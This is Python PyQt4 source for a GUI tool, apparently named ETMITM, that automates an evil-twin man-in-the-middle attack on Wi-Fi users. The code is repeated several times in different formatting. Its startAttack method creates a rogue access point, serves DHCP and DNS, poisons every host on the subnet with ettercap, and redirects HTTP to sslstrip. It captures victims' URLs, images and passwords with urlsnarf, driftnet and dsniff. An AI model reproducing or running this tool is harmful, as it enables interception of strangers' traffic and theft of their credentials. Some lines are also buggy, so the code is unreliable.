def __init__(self, parent=None): """ Initialize the GUI in accordance with qt. Also set up the signals listeners """ QtGui.QWidget.__init__(self, parent) self.ui = Ui_ETMITM() self.ui.setupUi(self) # QtCore.QObject.connect(self.ui.button_open, QtCore.SIGNAL("clicked()"), self.method) QtCore.QObject.connect(self.ui.pushButton_3, QtCore.SIGNAL("clicked()"), self.checkDepend) QtCore.QObject.connect(self.ui.pushButton, QtCore.SIGNAL('clicked()'), self.installStuff) QtCore.QObject.connect(self.ui.pushButton_4, QtCore.SIGNAL('clicked()'), self.startAttack)
def __init__(self, parent = None): """ Initialize the GUI in accordance with qt. Also set up the signals listeners """ QtGui.QWidget.__init__(self, parent) self.ui = Ui_ETMITM() self.ui.setupUi(self) # QtCore.QObject.connect(self.ui.button_open, QtCore.SIGNAL("clicked()"), self.method) QtCore.QObject.connect(self.ui.pushButton_3, QtCore.SIGNAL("clicked()"), self.checkDepend) QtCore.QObject.connect(self.ui.pushButton, QtCore.SIGNAL('clicked()'), self.installStuff) QtCore.QObject.connect(self.ui.pushButton_4, QtCore.SIGNAL('clicked()'), self.startAttack)
class StartQT4(QtGui.QMainWindow): """ this class will act as the main GUI """ def __init__(self, parent=None): """ Initialize the GUI in accordance with qt. Also set up the signals listeners """ QtGui.QWidget.__init__(self, parent) self.ui = Ui_ETMITM() self.ui.setupUi(self) # QtCore.QObject.connect(self.ui.button_open, QtCore.SIGNAL("clicked()"), self.method) QtCore.QObject.connect(self.ui.pushButton_3, QtCore.SIGNAL("clicked()"), self.checkDepend) QtCore.QObject.connect(self.ui.pushButton, QtCore.SIGNAL('clicked()'), self.installStuff) QtCore.QObject.connect(self.ui.pushButton_4, QtCore.SIGNAL('clicked()'), self.startAttack) def checkDepend(self): # check for arch: p = pp(['uname', '-a'], stdout=subprocess.PIPE) out, err = p.communicate() global myos myos = ('arch' if 'ARCH' in out else myos) stout = "OS detected as %s\n" % myos self.ui.plainTextEdit.insertPlainText(stout) # check required programs self.lookAtDepend() def installStuff(self): global toInstall self.ui.plainTextEdit.insertPlainText( "trying to install %d dependancies\n" % len(toInstall)) # begin installing stuff if myos == 'arch': for i in toInstall: self.ui.plainTextEdit.insertPlainText("installing " + i + "\n") p = pp(['yaourt', i]) p.wait() else: for i in toInstall: self.ui.plainTextEdit.insertPlainText("installing " + i + "\n") p = pp(['apt-get install', i]) p.wait() def lookAtDepend(self): global depend global installed global toInstall # look at all possible required programs for x in depend.keys(): self.ui.plainTextEdit.insertPlainText("looking for %s..." % x) try: # indicate that you will use a program if its found p = subprocess.Popen([x, ''], stdout=subprocess.PIPE) installed[depend[x]['type']] = depend[x] self.ui.plainTextEdit.insertPlainText("found!\n") try: p.kill() except: pass except: # add programs that need to be installed to a queue self.ui.plainTextEdit.insertPlainText("not found.\n") pass def startAttack(self): mainLog = self.ui.plainTextEdit.insertPlainText global depend for a in depend.keys(): if depend[a] == '': self.ui.plainTextEdit.insertPlainText( "please install dependancies before attempting attack\n") return if self.checkdhcpdconf() == "no": return # start all the interfaces, save them as python variables mainLog('starting Airmon-ng on' + self.ui.lineEdit.text() + "\n") airmon = pp([depend['airmon']['name'], self.ui.lineEdit.text()], stdout=subprocess.PIPE) mainLog('creating Symbolic Link\n') # fix the next line ln = pp([ 'ln', '-s', '/var/run/dhp3-server/dhcpd.pid', '/var/run/dhcpd.pid' ], stdout=subprocess.PIPE) mainLog('creating access point with name %s on channel 1\n' % self.ui.lineEdit_3.text()) airbase = pp([ 'airbase-ng', '-c', 'l', '-e', '"' + self.ui.lineEdit_3.text() + '"', 'mon0' ], stdout=subprocess.PIPE) pp(['ifconfig', 'at0', 'up'], stdout=subprocess.PIPE) pp([ 'ifconfig', 'at0', self.ui.lineEdit_4.text(), 'netmask', self.ui.lineEdit_6.text() ], stdout=subprocess.PIPE) pp([ 'route', 'add', '-net', self.ui.lineEdit_5.text(), 'netmask', self.ui.lineEdit_6.text(), 'gw', self.ui.lineEdit_4.text() ], stdout=subprocess.PIPE) mainLog('Start DHCPD on interface at0\n') dhcpd = pp( [depend['dhcpd']['name'], '-cf', depend['dhcpd']['conf'], 'at0'], stdout=subprocess.PIPE) mainLog('Start DNS masq\n') dnsmasq = pp(['/etc/init.d/' + depend['dnsmasq']['name'], 'restart'], stdout=subprocess.PIPE) mainLog( 'Launching ettercap, poisoning all hosts on the at0 interface\'s subnet\n' ) ettercap = pp(['ettercap', '-Tzqu', '-i', 'at0'], stdout=subprocess.PIPE) mainLog('setting up iptable forwarding\n') pp([ 'iptables', '--table', 'nat', '--append', 'PREROUTING', '-p', 'tcp', '--dport', '80', '-j', 'REDIRECT', '--to-port', '10000' ], stdout=subprocess.PIPE) pp([ 'iptables', '--table', 'nat', '--append', 'POSTROUTING', '--out-interface', self.ui.lineEdit_2.text(), '-j', 'MASQUERADE' ], stdout=subprocess.PIPE) pp([ 'iptables', '--append', 'FORWARD', '--in-interface', 'at0', '-j', 'ACCEPT' ], stdout=subprocess.PIPE) pp(['echo', '1', '>', '/proc/sys/net/ipv4/ip_forward'], stdout=subprocess.PIPE) mainLog('starting urlsnarf\n') pp(['driftnet', '-v', '-i', 'at0'], stdout=subprocess.PIPE) urlsnarf = pp(['urlsnarf', '-i', 'at0'], stdout=subprocess.PIPE) dsniff = pp([ depend['term']['name'], '--geometry=31x4-1-1', '-x', 'sh', '-c', '"dsniff -m -i at0 -d -w dsniff' + __import__('time').ctime() + '.log"' ]) sslstrip = pp([depend['sslstrip']['name'], '-a', '-k', '-f'], stdout=subprocess.PIPE) def checkdhcpdconf(self): mainLog = self.ui.plainTextEdit.insertPlainText global depend reply = QtGui.QMessageBox.question( self, 'add conf settings?', 'Would you like me to add the required settings to dhcpd.conf?', QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) if reply == QtGui.QMessageBox.Yes: self.ui.plainTextEdit.insertPlainText("setting up dhcpd.conf\n") gerp = pp( ['grep', self.ui.lineEdit_4.text(), depend['dhcpd']['conf']], stdout=subprocess.PIPE) out, err = gerp.communicate() if out: self.ui.plainTextEdit.insertPlainText( "current settings may already exist, please edit %s and select 'No' next time you are asked to modify dhcpd.conf\n" % depend['dhcpd']['conf']) return "no" else: dhcpdconfile = file(depend['dhcpd']['conf'], 'r') mainLog('creating backup of dhcpd.conf...\n') file('dhcpd.conf.bak', 'w').write(dhcpdconfile.read()) dhcpdconfile.close() dhcpdconfile = file(depend['dhcpd']['conf'], 'a') dhcpdconfile.write("option domain-name-servers %s;\n" % self.ui.lineEdit_4.text()) dhcpdconfile.write( "subnet %s netmask %s{\n" % (self.ui.lineEdit_5.text(), self.ui.lineEdit_6.text())) dhcpdconfile.write( "range %s %s;\n" % (self.ui.lineEdit_7.text(), self.ui.lineEdit_9.text())) dhcpdconfile.write("option routers %s;\n" % self.ui.lineEdit_8.text()) dhcpdconfile.write("option domain-name-servers %s;\n" % self.ui.lineEdit_4.text()) dhcpdconfile.write("}\n") else: pass
class StartQT4(QtGui.QMainWindow): """ this class will act as the main GUI """ def __init__(self, parent = None): """ Initialize the GUI in accordance with qt. Also set up the signals listeners """ QtGui.QWidget.__init__(self, parent) self.ui = Ui_ETMITM() self.ui.setupUi(self) # QtCore.QObject.connect(self.ui.button_open, QtCore.SIGNAL("clicked()"), self.method) QtCore.QObject.connect(self.ui.pushButton_3, QtCore.SIGNAL("clicked()"), self.checkDepend) QtCore.QObject.connect(self.ui.pushButton, QtCore.SIGNAL('clicked()'), self.installStuff) QtCore.QObject.connect(self.ui.pushButton_4, QtCore.SIGNAL('clicked()'), self.startAttack) def checkDepend(self): # check for arch: p = pp(['uname', '-a'], stdout=subprocess.PIPE) out,err = p.communicate() global myos myos=('arch' if 'ARCH' in out else myos) stout = "OS detected as %s\n"%myos self.ui.plainTextEdit.insertPlainText(stout) # check required programs self.lookAtDepend() def installStuff(self): global toInstall self.ui.plainTextEdit.insertPlainText("trying to install %d dependancies\n"%len(toInstall)) # begin installing stuff if myos == 'arch': for i in toInstall: self.ui.plainTextEdit.insertPlainText("installing " + i + "\n") p = pp(['yaourt', i]) p.wait() else: for i in toInstall: self.ui.plainTextEdit.insertPlainText("installing " + i + "\n") p = pp(['apt-get install', i]) p.wait() def lookAtDepend(self): global depend global installed global toInstall # look at all possible required programs for x in depend.keys(): self.ui.plainTextEdit.insertPlainText("looking for %s..."%x) try: # indicate that you will use a program if its found p = subprocess.Popen([x,''],stdout=subprocess.PIPE) installed[depend[x]['type']] = depend[x] self.ui.plainTextEdit.insertPlainText("found!\n") try: p.kill() except: pass except: # add programs that need to be installed to a queue self.ui.plainTextEdit.insertPlainText("not found.\n") pass def startAttack(self): mainLog = self.ui.plainTextEdit.insertPlainText global depend for a in depend.keys(): if depend[a]=='': self.ui.plainTextEdit.insertPlainText("please install dependancies before attempting attack\n") return if self.checkdhcpdconf()=="no": return # start all the interfaces, save them as python variables mainLog('starting Airmon-ng on' + self.ui.lineEdit.text() + "\n") airmon = pp([depend['airmon']['name'], self.ui.lineEdit.text()], stdout = subprocess.PIPE) mainLog('creating Symbolic Link\n') # fix the next line ln = pp(['ln', '-s', '/var/run/dhp3-server/dhcpd.pid', '/var/run/dhcpd.pid'], stdout = subprocess.PIPE) mainLog('creating access point with name %s on channel 1\n'%self.ui.lineEdit_3.text()) airbase = pp(['airbase-ng','-c','l','-e', '"'+self.ui.lineEdit_3.text()+'"', 'mon0'],stdout=subprocess.PIPE) pp(['ifconfig','at0','up'], stdout=subprocess.PIPE) pp(['ifconfig','at0',self.ui.lineEdit_4.text(),'netmask', self.ui.lineEdit_6.text()], stdout=subprocess.PIPE) pp(['route','add','-net',self.ui.lineEdit_5.text(), 'netmask', self.ui.lineEdit_6.text(), 'gw', self.ui.lineEdit_4.text()], stdout=subprocess.PIPE) mainLog('Start DHCPD on interface at0\n') dhcpd = pp([depend['dhcpd']['name'],'-cf',depend['dhcpd']['conf'], 'at0'], stdout=subprocess.PIPE) mainLog('Start DNS masq\n') dnsmasq = pp(['/etc/init.d/'+depend['dnsmasq']['name'], 'restart'], stdout=subprocess.PIPE) mainLog('Launching ettercap, poisoning all hosts on the at0 interface\'s subnet\n') ettercap = pp(['ettercap', '-Tzqu', '-i', 'at0'], stdout=subprocess.PIPE) mainLog('setting up iptable forwarding\n') pp(['iptables','--table','nat','--append','PREROUTING','-p','tcp','--dport','80','-j','REDIRECT','--to-port','10000'],stdout=subprocess.PIPE) pp(['iptables','--table','nat','--append','POSTROUTING','--out-interface',self.ui.lineEdit_2.text(),'-j','MASQUERADE'],stdout=subprocess.PIPE) pp(['iptables','--append','FORWARD','--in-interface','at0','-j','ACCEPT'],stdout=subprocess.PIPE) pp(['echo','1','>','/proc/sys/net/ipv4/ip_forward'], stdout=subprocess.PIPE) mainLog('starting urlsnarf\n') pp(['driftnet','-v','-i','at0'],stdout=subprocess.PIPE) urlsnarf = pp(['urlsnarf','-i','at0'],stdout=subprocess.PIPE) dsniff = pp([depend['term']['name'], '--geometry=31x4-1-1', '-x', 'sh', '-c', '"dsniff -m -i at0 -d -w dsniff'+__import__('time').ctime()+'.log"']) sslstrip = pp([depend['sslstrip']['name'], '-a', '-k', '-f'], stdout=subprocess.PIPE) def checkdhcpdconf(self): mainLog = self.ui.plainTextEdit.insertPlainText global depend reply = QtGui.QMessageBox.question(self,'add conf settings?', 'Would you like me to add the required settings to dhcpd.conf?', QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) if reply == QtGui.QMessageBox.Yes: self.ui.plainTextEdit.insertPlainText("setting up dhcpd.conf\n") gerp = pp(['grep', self.ui.lineEdit_4.text(), depend['dhcpd']['conf']],stdout=subprocess.PIPE) out, err = gerp.communicate() if out: self.ui.plainTextEdit.insertPlainText("current settings may already exist, please edit %s and select 'No' next time you are asked to modify dhcpd.conf\n"%depend['dhcpd']['conf']) return "no" else: dhcpdconfile = file(depend['dhcpd']['conf'],'r') mainLog('creating backup of dhcpd.conf...\n') file('dhcpd.conf.bak', 'w').write(dhcpdconfile.read()) dhcpdconfile.close() dhcpdconfile = file(depend['dhcpd']['conf'],'a') dhcpdconfile.write("option domain-name-servers %s;\n"%self.ui.lineEdit_4.text()) dhcpdconfile.write("subnet %s netmask %s{\n"%(self.ui.lineEdit_5.text(),self.ui.lineEdit_6.text())) dhcpdconfile.write("range %s %s;\n"%(self.ui.lineEdit_7.text(), self.ui.lineEdit_9.text())) dhcpdconfile.write("option routers %s;\n"%self.ui.lineEdit_8.text()) dhcpdconfile.write("option domain-name-servers %s;\n"%self.ui.lineEdit_4.text()) dhcpdconfile.write("}\n") else: pass